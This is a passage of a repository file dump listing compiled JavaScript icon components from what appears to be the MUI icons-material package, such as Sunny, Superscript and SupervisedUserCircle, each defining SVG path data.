    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 5H5v14h14v-9h-5zM8 17c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"8\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 3H5c-1.1 0-1.99.9-1.99 2L3 19c0 1.1.89 2 1.99 2H19c1.1 0 2-.9 2-2V9zm4 16H5V5h9v5h5z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"12\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"16\",\n  r: \"1\"\n}, \"4\")], 'SummarizeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SummarizeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 5H5v14h14v-9h-5zM8 17c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"8\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 3H5c-1.1 0-1.99.9-1.99 2L3 19c0 1.1.89 2 1.99 2H19c1.1 0 2-.9 2-2V9zm4 16H5V5h9v5h5z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"12\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"16\",\n  r: \"1\"\n}, \"4\")], 'SummarizeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sunny.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 4V2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1s-1-.45-1-1m7.36 3.05 1.41-1.42c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-1.41 1.42c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0M22 11h-2c-.55 0-1 .45-1 1s.45 1 1 1h2c.55 0 1-.45 1-1s-.45-1-1-1m-10 8c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1s1-.45 1-1v-2c0-.55-.45-1-1-1M5.64 7.05 4.22 5.64c-.39-.39-.39-1.03 0-1.41s1.03-.39 1.41 0l1.41 1.41c.39.39.39 1.03 0 1.41s-1.02.39-1.4 0m11.31 9.9c-.39.39-.39 1.03 0 1.41l1.41 1.41c.39.39 1.03.39 1.41 0 .39-.39.39-1.03 0-1.41l-1.41-1.41c-.38-.39-1.02-.39-1.41 0M2 13h2c.55 0 1-.45 1-1s-.45-1-1-1H2c-.55 0-1 .45-1 1s.45 1 1 1m3.64 6.78 1.41-1.41c.39-.39.39-1.03 0-1.41s-1.03-.39-1.41 0l-1.41 1.41c-.39.39-.39 1.03 0 1.41.38.39 1.02.39 1.41 0M12 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6\"\n}), 'Sunny');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sunny.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 4V2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1s-1-.45-1-1m7.36 3.05 1.41-1.42c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-1.41 1.42c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0M22 11h-2c-.55 0-1 .45-1 1s.45 1 1 1h2c.55 0 1-.45 1-1s-.45-1-1-1m-10 8c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1s1-.45 1-1v-2c0-.55-.45-1-1-1M5.64 7.05 4.22 5.64c-.39-.39-.39-1.03 0-1.41s1.03-.39 1.41 0l1.41 1.41c.39.39.39 1.03 0 1.41s-1.02.39-1.4 0m11.31 9.9c-.39.39-.39 1.03 0 1.41l1.41 1.41c.39.39 1.03.39 1.41 0 .39-.39.39-1.03 0-1.41l-1.41-1.41c-.38-.39-1.02-.39-1.41 0M2 13h2c.55 0 1-.45 1-1s-.45-1-1-1H2c-.55 0-1 .45-1 1s.45 1 1 1m3.64 6.78 1.41-1.41c.39-.39.39-1.03 0-1.41s-1.03-.39-1.41 0l-1.41 1.41c-.39.39-.39 1.03 0 1.41.38.39 1.02.39 1.41 0M12 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6\"\n}), 'Sunny');"
  },
  {
    "path": "packages/mui-icons-material/lib/SunnySnowing.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 5h-2V1h2zM1 11h4v2H1zm18 2v-2h4v2zm-1.34-5.24-1.41-1.41 2.83-2.83 1.41 1.41zM3.51 4.93l1.41-1.41 2.83 2.83-1.41 1.41zM4.75 17a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m12 0a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m-9 4a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m3-4a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m3 4a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0M17 13v-1c0-2.76-2.24-5-5-5s-5 2.24-5 5v1z\"\n}), 'SunnySnowing');"
  },
  {
    "path": "packages/mui-icons-material/lib/SunnySnowing.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 5h-2V1h2zM1 11h4v2H1zm18 2v-2h4v2zm-1.34-5.24-1.41-1.41 2.83-2.83 1.41 1.41zM3.51 4.93l1.41-1.41 2.83 2.83-1.41 1.41zM4.75 17a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m12 0a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m-9 4a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m3-4a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m3 4a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0M17 13v-1c0-2.76-2.24-5-5-5s-5 2.24-5 5v1z\"\n}), 'SunnySnowing');"
  },
  {
    "path": "packages/mui-icons-material/lib/Superscript.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 7h-2v1h3v1h-4V7c0-.55.45-1 1-1h2V5h-3V4h3c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1M5.88 20h2.66l3.4-5.42h.12l3.4 5.42h2.66l-4.65-7.27L17.81 6h-2.68l-3.07 4.99h-.12L8.85 6H6.19l4.32 6.73z\"\n}), 'Superscript');"
  },
  {
    "path": "packages/mui-icons-material/lib/Superscript.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 7h-2v1h3v1h-4V7c0-.55.45-1 1-1h2V5h-3V4h3c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1M5.88 20h2.66l3.4-5.42h.12l3.4 5.42h2.66l-4.65-7.27L17.81 6h-2.68l-3.07 4.99h-.12L8.85 6H6.19l4.32 6.73z\"\n}), 'Superscript');"
  },
  {
    "path": "packages/mui-icons-material/lib/SuperscriptOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 7h-2v1h3v1h-4V7c0-.55.45-1 1-1h2V5h-3V4h3c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1M5.88 20h2.66l3.4-5.42h.12l3.4 5.42h2.66l-4.65-7.27L17.81 6h-2.68l-3.07 4.99h-.12L8.85 6H6.19l4.32 6.73z\"\n}), 'SuperscriptOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SuperscriptOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 7h-2v1h3v1h-4V7c0-.55.45-1 1-1h2V5h-3V4h3c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1M5.88 20h2.66l3.4-5.42h.12l3.4 5.42h2.66l-4.65-7.27L17.81 6h-2.68l-3.07 4.99h-.12L8.85 6H6.19l4.32 6.73z\"\n}), 'SuperscriptOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SuperscriptRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.51 12.73 7.3 7.72C6.82 6.97 7.35 6 8.23 6c.39 0 .74.2.95.53l2.76 4.46h.12l2.74-4.45c.2-.34.56-.54.95-.54.88 0 1.42.98.94 1.72l-3.23 5 3.55 5.55c.49.75-.05 1.73-.93 1.73-.38 0-.74-.2-.95-.52l-3.07-4.89h-.12l-3.07 4.89c-.21.32-.56.52-.95.52-.88 0-1.42-.97-.94-1.72zM23 8.5c0-.28-.22-.5-.5-.5H20V7h2c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1h-2.5c-.28 0-.5.22-.5.5s.22.5.5.5H22v1h-2c-.55 0-1 .45-1 1v1c0 .55.45 1 1 1h2.5c.28 0 .5-.22.5-.5\"\n}), 'SuperscriptRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SuperscriptRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.51 12.73 7.3 7.72C6.82 6.97 7.35 6 8.23 6c.39 0 .74.2.95.53l2.76 4.46h.12l2.74-4.45c.2-.34.56-.54.95-.54.88 0 1.42.98.94 1.72l-3.23 5 3.55 5.55c.49.75-.05 1.73-.93 1.73-.38 0-.74-.2-.95-.52l-3.07-4.89h-.12l-3.07 4.89c-.21.32-.56.52-.95.52-.88 0-1.42-.97-.94-1.72zM23 8.5c0-.28-.22-.5-.5-.5H20V7h2c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1h-2.5c-.28 0-.5.22-.5.5s.22.5.5.5H22v1h-2c-.55 0-1 .45-1 1v1c0 .55.45 1 1 1h2.5c.28 0 .5-.22.5-.5\"\n}), 'SuperscriptRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SuperscriptSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 7v1h3v1h-4V6h3V5h-3V4h4v3zM5.88 20h2.66l3.4-5.42h.12l3.4 5.42h2.66l-4.65-7.27L17.81 6h-2.68l-3.07 4.99h-.12L8.85 6H6.19l4.32 6.73z\"\n}), 'SuperscriptSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SuperscriptSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 7v1h3v1h-4V6h3V5h-3V4h4v3zM5.88 20h2.66l3.4-5.42h.12l3.4 5.42h2.66l-4.65-7.27L17.81 6h-2.68l-3.07 4.99h-.12L8.85 6H6.19l4.32 6.73z\"\n}), 'SuperscriptSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SuperscriptTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 7h-2v1h3v1h-4V7c0-.55.45-1 1-1h2V5h-3V4h3c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1M5.88 20h2.66l3.4-5.42h.12l3.4 5.42h2.66l-4.65-7.27L17.81 6h-2.68l-3.07 4.99h-.12L8.85 6H6.19l4.32 6.73z\"\n}), 'SuperscriptTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SuperscriptTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 7h-2v1h3v1h-4V7c0-.55.45-1 1-1h2V5h-3V4h3c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1M5.88 20h2.66l3.4-5.42h.12l3.4 5.42h2.66l-4.65-7.27L17.81 6h-2.68l-3.07 4.99h-.12L8.85 6H6.19l4.32 6.73z\"\n}), 'SuperscriptTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupervisedUserCircle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2c-5.52 0-10 4.48-10 10s4.48 10 10 10 10-4.48 10-10-4.48-10-10-10m3.61 6.34c1.07 0 1.93.86 1.93 1.93s-.86 1.93-1.93 1.93-1.93-.86-1.93-1.93c-.01-1.07.86-1.93 1.93-1.93m-6-1.58c1.3 0 2.36 1.06 2.36 2.36s-1.06 2.36-2.36 2.36-2.36-1.06-2.36-2.36c0-1.31 1.05-2.36 2.36-2.36m0 9.13v3.75c-2.4-.75-4.3-2.6-5.14-4.96 1.05-1.12 3.67-1.69 5.14-1.69.53 0 1.2.08 1.9.22-1.64.87-1.9 2.02-1.9 2.68M11.99 20c-.27 0-.53-.01-.79-.04v-4.07c0-1.42 2.94-2.13 4.4-2.13 1.07 0 2.92.39 3.84 1.15-1.17 2.97-4.06 5.09-7.45 5.09\"\n}), 'SupervisedUserCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupervisedUserCircle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2c-5.52 0-10 4.48-10 10s4.48 10 10 10 10-4.48 10-10-4.48-10-10-10m3.61 6.34c1.07 0 1.93.86 1.93 1.93s-.86 1.93-1.93 1.93-1.93-.86-1.93-1.93c-.01-1.07.86-1.93 1.93-1.93m-6-1.58c1.3 0 2.36 1.06 2.36 2.36s-1.06 2.36-2.36 2.36-2.36-1.06-2.36-2.36c0-1.31 1.05-2.36 2.36-2.36m0 9.13v3.75c-2.4-.75-4.3-2.6-5.14-4.96 1.05-1.12 3.67-1.69 5.14-1.69.53 0 1.2.08 1.9.22-1.64.87-1.9 2.02-1.9 2.68M11.99 20c-.27 0-.53-.01-.79-.04v-4.07c0-1.42 2.94-2.13 4.4-2.13 1.07 0 2.92.39 3.84 1.15-1.17 2.97-4.06 5.09-7.45 5.09\"\n}), 'SupervisedUserCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupervisedUserCircleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 10c0-1.65-1.35-3-3-3s-3 1.35-3 3 1.35 3 3 3 3-1.35 3-3m-3 1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6.5 2c1.11 0 2-.89 2-2s-.89-2-2-2-2.01.89-2 2c0 1.11.89 2 2 2M11.99 2.01c-5.52 0-10 4.48-10 10s4.48 10 10 10 10-4.48 10-10-4.48-10-10-10M5.84 17.12c.68-.54 2.27-1.11 3.66-1.11.07 0 .15.01.23.01.24-.64.67-1.29 1.3-1.86-.56-.1-1.09-.16-1.53-.16-1.3 0-3.39.45-4.73 1.43-.5-1.04-.78-2.2-.78-3.43 0-4.41 3.59-8 8-8s8 3.59 8 8c0 1.2-.27 2.34-.75 3.37-1-.59-2.36-.87-3.24-.87-1.52 0-4.5.81-4.5 2.7v2.78c-2.27-.13-4.29-1.21-5.66-2.86\"\n}), 'SupervisedUserCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupervisedUserCircleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 10c0-1.65-1.35-3-3-3s-3 1.35-3 3 1.35 3 3 3 3-1.35 3-3m-3 1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6.5 2c1.11 0 2-.89 2-2s-.89-2-2-2-2.01.89-2 2c0 1.11.89 2 2 2M11.99 2.01c-5.52 0-10 4.48-10 10s4.48 10 10 10 10-4.48 10-10-4.48-10-10-10M5.84 17.12c.68-.54 2.27-1.11 3.66-1.11.07 0 .15.01.23.01.24-.64.67-1.29 1.3-1.86-.56-.1-1.09-.16-1.53-.16-1.3 0-3.39.45-4.73 1.43-.5-1.04-.78-2.2-.78-3.43 0-4.41 3.59-8 8-8s8 3.59 8 8c0 1.2-.27 2.34-.75 3.37-1-.59-2.36-.87-3.24-.87-1.52 0-4.5.81-4.5 2.7v2.78c-2.27-.13-4.29-1.21-5.66-2.86\"\n}), 'SupervisedUserCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupervisedUserCircleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m3.61 6.34c1.07 0 1.93.86 1.93 1.93s-.86 1.93-1.93 1.93-1.93-.86-1.93-1.93c-.01-1.07.86-1.93 1.93-1.93m-6-1.58c1.3 0 2.36 1.06 2.36 2.36s-1.06 2.36-2.36 2.36-2.36-1.06-2.36-2.36c0-1.31 1.05-2.36 2.36-2.36m0 9.13v3.75c-2.4-.75-4.3-2.6-5.14-4.96 1.05-1.12 3.67-1.69 5.14-1.69.53 0 1.2.08 1.9.22-1.64.87-1.9 2.02-1.9 2.68M12 20c-.27 0-.53-.01-.79-.04v-4.07c0-1.42 2.94-2.13 4.4-2.13 1.07 0 2.92.39 3.84 1.15C18.28 17.88 15.39 20 12 20\"\n}), 'SupervisedUserCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupervisedUserCircleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m3.61 6.34c1.07 0 1.93.86 1.93 1.93s-.86 1.93-1.93 1.93-1.93-.86-1.93-1.93c-.01-1.07.86-1.93 1.93-1.93m-6-1.58c1.3 0 2.36 1.06 2.36 2.36s-1.06 2.36-2.36 2.36-2.36-1.06-2.36-2.36c0-1.31 1.05-2.36 2.36-2.36m0 9.13v3.75c-2.4-.75-4.3-2.6-5.14-4.96 1.05-1.12 3.67-1.69 5.14-1.69.53 0 1.2.08 1.9.22-1.64.87-1.9 2.02-1.9 2.68M12 20c-.27 0-.53-.01-.79-.04v-4.07c0-1.42 2.94-2.13 4.4-2.13 1.07 0 2.92.39 3.84 1.15C18.28 17.88 15.39 20 12 20\"\n}), 'SupervisedUserCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupervisedUserCircleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m3.61 6.34c1.07 0 1.93.86 1.93 1.93s-.86 1.93-1.93 1.93-1.93-.86-1.93-1.93c-.01-1.07.86-1.93 1.93-1.93m-6-1.58c1.3 0 2.36 1.06 2.36 2.36s-1.06 2.36-2.36 2.36-2.36-1.06-2.36-2.36c0-1.31 1.05-2.36 2.36-2.36m0 9.13v3.75c-2.4-.75-4.3-2.6-5.14-4.96 1.05-1.12 3.67-1.69 5.14-1.69.53 0 1.2.08 1.9.22-1.64.87-1.9 2.02-1.9 2.68M12 20c-.27 0-.53-.01-.79-.04v-4.07c0-1.42 2.94-2.13 4.4-2.13 1.07 0 2.92.39 3.84 1.15C18.28 17.88 15.39 20 12 20\"\n}), 'SupervisedUserCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupervisedUserCircleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m3.61 6.34c1.07 0 1.93.86 1.93 1.93s-.86 1.93-1.93 1.93-1.93-.86-1.93-1.93c-.01-1.07.86-1.93 1.93-1.93m-6-1.58c1.3 0 2.36 1.06 2.36 2.36s-1.06 2.36-2.36 2.36-2.36-1.06-2.36-2.36c0-1.31 1.05-2.36 2.36-2.36m0 9.13v3.75c-2.4-.75-4.3-2.6-5.14-4.96 1.05-1.12 3.67-1.69 5.14-1.69.53 0 1.2.08 1.9.22-1.64.87-1.9 2.02-1.9 2.68M12 20c-.27 0-.53-.01-.79-.04v-4.07c0-1.42 2.94-2.13 4.4-2.13 1.07 0 2.92.39 3.84 1.15C18.28 17.88 15.39 20 12 20\"\n}), 'SupervisedUserCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupervisedUserCircleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9.5\",\n  cy: \"10\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 17.21c0-1.88 2.98-2.7 4.5-2.7.88 0 2.24.27 3.24.87.48-1.02.75-2.16.75-3.37 0-4.41-3.59-8-8-8s-8 3.59-8 8c0 1.23.29 2.39.78 3.43 1.34-.98 3.43-1.43 4.73-1.43.44 0 .97.05 1.53.16-.63.57-1.06 1.22-1.3 1.86-.08 0-.15-.01-.23-.01-1.38 0-2.98.57-3.66 1.11 1.37 1.65 3.39 2.73 5.66 2.86zM16 9c1.11 0 2 .89 2 2s-.89 2-2 2-2-.89-2-2c-.01-1.11.89-2 2-2m-6.5 4c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 10c0-1.65-1.35-3-3-3s-3 1.35-3 3 1.35 3 3 3 3-1.35 3-3m-3 1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6.5 2c1.11 0 2-.89 2-2s-.89-2-2-2-2.01.89-2 2c0 1.11.89 2 2 2M11.99 2.01c-5.52 0-10 4.48-10 10s4.48 10 10 10 10-4.48 10-10-4.48-10-10-10M5.84 17.12c.68-.54 2.27-1.11 3.66-1.11.07 0 .15.01.23.01.24-.64.67-1.29 1.3-1.86-.56-.1-1.09-.16-1.53-.16-1.3 0-3.39.45-4.73 